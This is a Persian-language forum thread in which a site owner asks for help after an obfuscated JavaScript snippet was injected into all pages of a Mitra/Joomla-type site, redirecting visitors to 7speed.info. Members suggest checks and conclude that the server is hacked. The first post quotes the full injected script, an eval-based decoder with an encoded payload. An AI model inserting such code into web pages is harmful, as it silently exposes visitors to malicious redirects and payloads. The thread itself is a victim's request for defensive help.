اضاقه شدن يك كد در تمام صفحات - هك

[hoj]

سلام
من وقتي سايتم را باز مي كنم، در سورس صفحه، بعد از BODY اين خط را مي بينم

<script language=JavaScript>function kwbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,27,24,8,38,62,31,11,58,6,0,0,0,0,0,0,33,29,12,46,2,43,0,57,14,10,16,9,4,39,36,34,37,41,47,45,15,26,21,61,54,13,28,0,0,0,0,18,0,22,17,19,50,60,40,59,30,56,23,53,5,1,51,35,20,49,7,42,44,3,32,25,52,48,55);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(147^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}kwbnb25('NE60znTGWD5Gd6CGvgISjn60Xc7sznTe4gRWW6hRNrC5M10Cx5s5krCe510tW7R0Xg8WzcUfnDhiygUtg65GoMIRe_Iio1RWzzE5WjT0ehHRt_7Ch70Ggz1ie1h0zREzd655W9CeW6T05RECGI8Qoh8f8O7Sz6TQ@_7Cx9gtNE0WMRREvs8fnCRW8c05MgIfPH7iME50XgUtzETio0ResMU0ezRWqX8Ees6W@7R0XzIS8D')</script><!-- 208.64.230.55 -->

و سايت هم قبل از باز شدن به سايت 7speed.info مي رود و حالا نمي دانم چكار مي كند (اين را از Status bar پايين اكسپلورر فهميدم)
بررسي كردم اين كد در تمام صفحات index.php و html سايت كپي شده
پرميشن ها را هم به 644 و 755 براي فايلها و پوشه ها تغيير دادم اما بعد از اينكه فايل ها را درست كردم باز هم مي شود
حالا بايد چكار كنم البته سايت من با ميترا هستش
ممنون مي شوم اگر راهنماييم كنيد

[سعید]

اینجا انجمن تخصصی مامبولرن هست.

ما از میترا ، جوملا ، و سیستم های مشابه پشتیبانی نمی کنیم.

یا علی

[hoj]

فکر می کنم جوملا ، مامبو و میترا شباهت های زیادی با هم داشته باشند. که همگی از یک ریشه باشند و تفاوت آنچنانی نداشته باشند.
بهرصورت گمانم بر این است که بچه های این انجمن نگذارند دست خالی از اینجا بروم.

[piroozman]

سلام دوست عزیز
قالب خود را بررسی کنید و ببینید این کد در آنجا وجود دارد؟ اگر بله آن را پاک کنید اگر نبود در صفحه index.php بررسی کنید

[مهدی.]

ببينيد ما از مامبو پشتيباني ميكنيم، ‌اين موضوع هم كه شما ميفرماييد شباهت دارن هم بايد عرض كنم كه درسته، پدر همشون مامبو هستش، ما خوب خودشون سايت مرجع فارسي دارن ديگه! مگه ندارن؟!

ولي اگر مشاوره ميخواييد كه مشكل هك سايتتون چيزي هست خوب شك نكنيد كه در اين انجمن به شما مشاوره داده ميشود، اما هيچ تضميني نيست كه اون مشاوره صحيح باشه،‌ما با مامبو آشنايي كامل داريم و آنرا پشتيلني ميكنيم، نه ميترا و يا جوملا

اگر مشكلتون با تغيير قالب برطرف نشد به اين سوالات جواب بفرماييد:
1)در هاست شما فايلهاي ديگري ساخته شده است؟
2)فايلهاي مشكوك با نامهاي مشكوك ايجاد شده هست؟
3)فايلهاي htaccess در هاست شما ايجاد شده است؟
از سلامت تمامي فايلهاي سايت خودتون مطمئن هستيد؟

كامروا باشيد.

[hoj]

از لطف شما و ساير دوستان خيلي سپاسگذارم
-------------------------------------------------------
سايت را بررسي كردم
كد مزبورمابين تگ body , /body در تمامي (!) فايل هاي html سايت قرار داده شده.
البته مقدار زيادي از آن فايل ها را درست كردم و فعلا درست شده ولي براي اطمينان بايد چكار كنم؟
----
1- در سايت ظاهرا فايل ديگري ساخته نشده
2- فايل مشكوك در پوشه public_html ظاهرا نيست. ولي در پوشه روت خود سايت چند فايل هست كه با . شروع مي شود مثل .zshrc , .pearrc , .gtkrc , ...
3- يك فايل .htaccess هست كه داخل آن هيچ چيز نيست. حجم 0 بايت

[سعید]

با مدیر سورتون تماس بگیرید.

سرور تون هک شده !

[hoj]

فعلا که مشکل رفع نشده
بخاطر راهنمایی ها ممنون هستم